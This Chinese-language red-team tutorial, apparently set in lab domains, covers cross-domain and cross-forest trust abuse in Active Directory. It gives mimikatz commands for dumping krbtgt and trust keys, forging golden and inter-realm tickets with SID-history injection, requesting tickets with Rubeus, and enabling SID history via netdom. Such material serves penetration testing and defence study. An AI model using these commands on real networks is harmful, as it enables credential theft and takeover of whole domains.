双向信任
在之前,我们讨论了当前域中的利用手法,然而在实际的企业组织中,我们会面临多个域、多个森林。我们当前所在的域,会有父域、子域、具有信任关系的森林等。那么接下来,我们会逐一讨论各种情况。首先,我们讨论双向信任,这种情况存在于同一森林之间,例如父域与子域、不同子域之间(例如child1.red.local与child2.red.local)、以及森林之间。但在正式讨论之前,我们需要明确一些概念与名词,帮助我们更好理解。如果依旧对以下的名次与概念有些迷惑,那也不要紧,我们会在后续的实际攻击中加深理解。
森林之内
森林之内的横向移动是最简单的情形,因为信任是相互的,例如从子域移动到父域。我们有 2 种方式在森林之内移动,分别是利用 krbtgt 以及信任密钥。我们不妨用 powerview 来枚举一下域信任,虽然我们是知道预期结果的。SoureName 是当前域,TargetName 是外部域,WITHIN_FOREST 说明是森林之内的信任,Bidirectional 是指双向信任。
krbtgt
1:这也是最经典的利用,我们只需要一句话利用即可。在 mimikatz 中,先获得 krbtgt 的凭证。
2:利用 SID 历史
kerberos::golden /user:Administrator /domain:<当前域> /sid:<当前域SID> /sids:<目标域EA的SID> /krbtgt:<krbtgt NTLM> /ptt
3:验证访问
信任密钥
1:在 mimikatz 中,我们需要得到信任密钥,通过命令 lsadump::dcsync /doimain:<当前域> /user:<父域$>,或者命令 lsadump::lsa /patch 得到。如下图所示,得到的密钥是一致的。如果用的后者,寻找 [In] 信任密钥。
2:接下来,我们需要申请跨域 TGT (inter-realm TGT)
kerberos::golden /domain:<当前域> /sid:<当前域SID> /sids:<外部域EA的SID> /rc4:<信任密钥> /user:Administrator /service:krbtgt /target:<目标域> /ticket:<票据位置>
3:使用Rubeus 申请 TGS
rubeus.exe asktgs /ticket:<生成的票据> /service:cifs/<目标域控fqdb> /dc:<目标域控 fqdn > /ptt
4:验证访问
森林之间
对于具有双向信任的森林之间的移动,步骤整体相似,但是上文我们提到了 SID 过滤器,因此我们需要寻找出 RID ≥1000 的组。最终,以上的命令看起来应该是这样
kerberos::golden /user:Administrator /domain:red.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /rc4:799a0ae7e6ce96369aa7f1e9da25175a /service:krbtgt /target:sec.local /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ticket:C:\Windows\tasks\intkey.kirbi
或者
kerberos::golden /user:administrator /domain:htb.local /sid:S-1-5-21-3657428294-2017276338-1274645009 /krbtgt:799a0ae7e6ce96369aa7f1e9da25175a /sids:S-1-5-21-4066061358-3942393892-617142613-1103 /ptt
在森林之间,SID 历史有时候需要禁用状态的,这需要目标 DC 启用 SID 历史 (启用SID 历史意味着禁用 SID 过滤器,反之亦然)。
如果试图在 red.local 与 sec.local 森林之间移动,开启 SID 历史的命令如下
在 red.local:netdom trust red.local /d:sec.local /enablesidhistory:yes
在 sec.local:netdom trust sec.local /d:red.local /enablesidhistory:yes